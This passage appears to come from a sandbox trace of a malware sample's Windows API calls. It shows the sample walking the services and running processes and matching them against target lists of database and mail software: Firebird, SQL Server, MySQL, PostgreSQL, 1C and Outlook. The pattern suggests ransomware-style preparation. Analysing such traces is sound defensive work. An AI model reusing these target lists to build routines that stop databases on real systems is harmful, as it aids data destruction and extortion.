(lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0268.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0268.572] lstrlenW (lpString="AudioSrv") returned 8 [0268.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0268.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0268.573] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0268.573] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0268.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0268.573] lstrlenW (lpString="BFE") returned 3 [0268.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0268.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0268.573] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0268.573] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0268.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0268.573] lstrlenW (lpString="CryptSvc") returned 8 [0268.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0268.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0268.574] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0268.574] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0268.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0268.574] lstrlenW (lpString="CscService") returned 10 [0268.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0268.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0268.574] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0268.574] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0268.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0268.574] lstrlenW (lpString="DcomLaunch") returned 10 [0268.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0268.574] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0268.575] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0268.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0268.575] lstrlenW (lpString="Dhcp") returned 4 [0268.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0268.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0268.575] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0268.575] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0268.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0268.575] lstrlenW (lpString="Dnscache") returned 8 [0268.575] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0268.575] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0268.576] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0268.576] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0268.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0268.576] lstrlenW (lpString="DPS") returned 3 [0268.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0268.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0268.576] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0268.576] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0268.576] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0268.576] lstrlenW (lpString="eventlog") returned 8 [0268.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0268.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0268.577] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0268.577] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0268.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0268.577] lstrlenW (lpString="EventSystem") returned 11 [0268.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0268.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0268.577] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0268.577] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0268.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0268.577] lstrlenW (lpString="gpsvc") returned 5 [0268.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0268.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0268.578] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0268.578] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0268.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0268.578] lstrlenW (lpString="iphlpsvc") returned 8 [0268.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0268.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0268.578] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0268.578] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0268.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0268.578] lstrlenW (lpString="LanmanServer") returned 12 [0268.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0268.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0268.578] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0268.579] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0268.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0268.579] lstrlenW (lpString="LanmanWorkstation") returned 17 [0268.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0268.580] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0268.580] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0268.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0268.580] lstrlenW (lpString="lmhosts") returned 7 [0268.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0268.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0268.581] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0268.581] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0268.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0268.581] lstrlenW (lpString="MMCSS") returned 5 [0268.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0268.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0268.581] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0268.581] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0268.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0268.582] lstrlenW (lpString="MpsSvc") returned 6 [0268.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0268.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0268.582] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0268.582] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0268.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0268.582] lstrlenW (lpString="Netman") returned 6 [0268.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0268.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0268.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0268.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0268.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0268.583] lstrlenW (lpString="netprofm") returned 8 [0268.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0268.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0268.583] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0268.583] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0268.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0268.583] lstrlenW (lpString="NlaSvc") returned 6 [0268.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0268.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0268.583] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0268.583] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0268.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0268.584] lstrlenW (lpString="nsi") returned 3 [0268.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0268.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0268.584] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0268.584] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0268.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0268.584] lstrlenW (lpString="PcaSvc") returned 6 [0268.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0268.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0268.584] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0268.584] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0268.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0268.584] lstrlenW (lpString="PlugPlay") returned 8 [0268.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0268.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0268.585] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0268.585] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0268.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0268.585] lstrlenW (lpString="Power") returned 5 [0268.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0268.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0268.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0268.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0268.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0268.585] lstrlenW (lpString="ProfSvc") returned 7 [0268.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0268.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0268.586] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0268.586] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0268.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0268.586] lstrlenW (lpString="RpcEptMapper") returned 12 [0268.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0268.586] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0268.586] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0268.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0268.586] lstrlenW (lpString="RpcSs") returned 5 [0268.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0268.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0268.587] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0268.587] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0268.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0268.587] lstrlenW (lpString="SamSs") returned 5 [0268.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0268.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0268.587] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0268.587] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0268.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0268.587] lstrlenW (lpString="Schedule") returned 8 [0268.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0268.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0268.588] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0268.588] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0268.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0268.588] lstrlenW (lpString="SENS") returned 4 [0268.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0268.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0268.588] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0268.588] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0268.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0268.588] lstrlenW (lpString="ShellHWDetection") returned 16 [0268.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0268.588] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0268.588] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0268.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0268.589] lstrlenW (lpString="Spooler") returned 7 [0268.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0268.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0268.589] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0268.589] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0268.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0268.589] lstrlenW (lpString="SysMain") returned 7 [0268.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0268.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0268.589] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0268.589] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0268.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0268.590] lstrlenW (lpString="Themes") returned 6 [0268.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0268.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0268.590] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0268.590] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0268.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0268.590] lstrlenW (lpString="TrkWks") returned 6 [0268.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0268.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0268.590] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0268.590] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0268.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0268.590] lstrlenW (lpString="UxSms") returned 5 [0268.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0268.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0268.591] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0268.591] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0268.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0268.591] lstrlenW (lpString="WdiServiceHost") returned 14 [0268.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0268.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0268.591] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0268.591] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0268.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0268.591] lstrlenW (lpString="WdiSystemHost") returned 13 [0268.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0268.591] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0268.591] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0268.591] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0268.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0268.592] lstrlenW (lpString="Winmgmt") returned 7 [0268.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0268.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0268.592] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0268.592] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0268.592] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0268.592] lstrlenW (lpString="WPDBusEnum") returned 10 [0268.592] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0268.592] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0268.592] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0268.592] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0268.593] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0268.593] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0268.593] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3cc [0268.605] Process32FirstW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.606] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0268.607] lstrlenW (lpString="System") returned 6 [0268.607] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0268.607] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0268.607] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0268.608] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0268.608] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0268.608] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0268.608] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0268.608] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0268.609] lstrlenW (lpString="smss.exe") returned 8 [0268.609] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0268.609] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0268.609] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0268.609] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0268.609] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0268.609] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0268.609] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0268.609] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.765] lstrlenW (lpString="csrss.exe") returned 9 [0268.766] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0268.766] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0268.766] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0268.766] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0268.766] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0268.768] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0268.768] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0268.768] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.769] lstrlenW (lpString="wininit.exe") returned 11 [0268.769] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0268.769] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0268.769] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0268.769] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0268.769] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0268.769] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0268.769] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0268.769] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.770] lstrlenW (lpString="csrss.exe") returned 9 [0268.770] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0268.770] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0268.770] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0268.770] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0268.771] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0268.771] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0268.771] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0268.771] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.772] lstrlenW (lpString="winlogon.exe") returned 12 [0268.772] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0268.772] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0268.772] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0268.772] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0268.772] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.773] lstrlenW (lpString="services.exe") returned 12 [0268.774] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.775] lstrlenW (lpString="lsass.exe") returned 9 [0268.775] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0268.776] lstrlenW (lpString="lsm.exe") returned 7 [0268.776] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.777] lstrlenW (lpString="svchost.exe") returned 11 [0268.777] Process32NextW (in: hSnapshot=0x3cc, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.778] lstrlenW (lpString="svchost.exe") returned 11 [0268.778] Process32NextW (in: hSnapshot=0x3cc, 